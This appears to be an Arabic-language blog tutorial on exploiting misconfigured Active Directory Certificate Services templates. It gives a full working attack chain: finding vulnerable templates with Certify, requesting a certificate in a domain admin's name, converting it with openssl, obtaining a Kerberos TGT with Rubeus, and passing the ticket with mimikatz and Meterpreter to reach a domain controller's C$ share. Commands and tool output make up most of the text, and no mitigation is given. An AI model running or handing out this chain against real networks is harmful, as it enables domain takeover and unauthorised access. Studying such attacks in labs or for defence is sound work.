Misconfigured Certificate Templates
Description:
بسم الله الرحمن الرحيم والصلاة والسلام على اشرف المرسلين. أActive Directory Certificate Services or AD CS هي تمبلت مقدمة من مايكروسوفت كنقطة بداية لتوزيع ال certificates وهي مصممه لتنفيذ احتياجات معينة، والاخطاء في اعداد هذه الشهادات قد يؤدي إلى privilege escalation وكذلك قد يساعدنا على التنقل بين الاجهزه على الدومين كنترولر عن طريق طلب ال TGT الخاص بأي دومين كنترولر عن طريق هذه الشهادة.
Exploit
عن طريق الاداة الجميله Certify
نستطيع بكل بساطه البحث عن الفرنبل templates ، Certify.exe find /vulnerable
بناءً على المخرجات من الاداة نستطيع معرفه:
- اسم الـ vuln certificate
- اسم الـ DC المقدم لل vuln certificate
- الـ mspki certificate name flag
- الـ enrollment rights وبمساعدة هذه المعطيات نستطيع الان معرفة الدومين كنترولر المقدم للسيترفيكت، وكذلك عن اذا كان ال MSPKI CERT NAME FLAG هو
ENROLLEE_SUPPLIES_SUBJECT
فنستطيع تحديد الـsubject alternative name
عند طلب ال VULN CERT وهذا يعني اننا نستطيع طلب ال cert لل domain admin !
والان عن طريق الاداة Certify
نستطيع طلب الvuln cert
Certify.exe request /ca:dc-1.0xmaz.me\ca1 /template:VulnerableTemplate /altname:DomainAdmin
وهذا راح يعطينا ال vulncert.pem
وبعد ذلك نقوم بتحويلها عن طريق
openssl pkcs12 -in vulncert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out vulncert.pfx
وبعد ذلك سنقوم بتحويل ال vulncert.pfx الى base64
cat cert.pfx | base64 -w 0
وبعد ذلك سنقوم بإستخدام الاداة Rubeus
لطلب الـ tgt asktgt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Rubeus.exe asktgt /user:domainadmin /certificate:certbase64 /password:password /aes256 /nowrap
[*] Action: Ask TGT
[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=I, CN=Users, DC=0xmaz, DC=me
[*] Building AS-REQ (w/ PKINIT preauth) for: '0xmaz.me\domainadmin'
[+] TGT request successful!
[*] base64(ticket.kirbi):
....5pbw==
ServiceName : krbtgt/0xmaz.me
ServiceRealm : 0XMAZ.ME
UserName : DomainAdmin
UserRealm : 0XMAZ.ME
StartTime : 1/18/2022 4:38:26 PM
EndTime : 1/19/2022 2:38:26 AM
RenewTill : 1/25/2022 4:38:26 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : ....
ASREP (key) : ....
والان بعدما طلبنا التذكره نستطيع الدخول بها بكل بساطة، وهنالك طرق عديدة للدخول عن طريق الـ kerberos ticket
بنتطرق بهذا الشرح لكم طريقة، ولكن قبل مانتطرق للشرح نحتاج نحول ال BASSE64 TICKET لـ ticket.kirbi
، وهذا بكل بساطة يتم عن طريق الامر التالي
1
2
$ on Linux
$ echo 'base64' | base64 --decode > ticket.kirbi
1
2
$ On Windows
$ [System.IO.File]::WriteAllBytes("C:/Users/User/Ticket.kirbi", [System.Convert]::FromBase64String("base64"))
الان بعدما حولنا التكت، نبدأ بأول اداة وهي mimikatz.exe
1
2
3
4
5
6
7
8
9
10
11
12
> mimikatz.exe
# privilege::debug
# kerberos::ptt C:/Users/User/Ticket.kirbi
...
File: 'C:/Users/User/Ticket.kirbi': OK
...
> klist | findstr "Cached"
...
Cached Tickets: (1)
...
# exit
Bye!
الاداة الثانيه الا وهي Meterpreter عن طريق الاكستنشن kiwi.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kerberos_ticket_use ./Ticket.kirbi
[*] Using Kerberos ticket stored in ./Ticket.kirbi, 1856 bytes ...
[+] Kerberos ticket applied successfully.
meterpreter > kerberos_ticket_use ./Ticket.kirbi
[*] Using Kerberos ticket stored in ./Ticket.kirbi, 1856 bytes ...
[+] Kerberos ticket applied successfully.
meterpreter > shell
Process 6384 created.
Channel 7 created.
Microsoft Windows [Version 10.0.17763.1294]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\Temp>dir \0xmaz.me\c$
dir \\0xmaz.me\c$
Volume in drive \\0xmaz.me\c$ has no label.
Volume Serial Number is A4D0-6780
Directory of \\0xmaz.me\c$
10/09/2021 09:12 AM <DIR> logs
12/07/2019 07:14 PM <DIR> PerfLogs
10/08/2021 12:34 PM <DIR> Program Files
10/11/2021 10:32 AM <DIR> Program Files (x86)
10/08/2021 07:10 PM <DIR> Python27
02/02/2021 07:04 AM <DIR> shares
10/12/2021 09:38 AM <DIR> Users
10/11/2021 10:30 AM <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 27,732,598,784 bytes free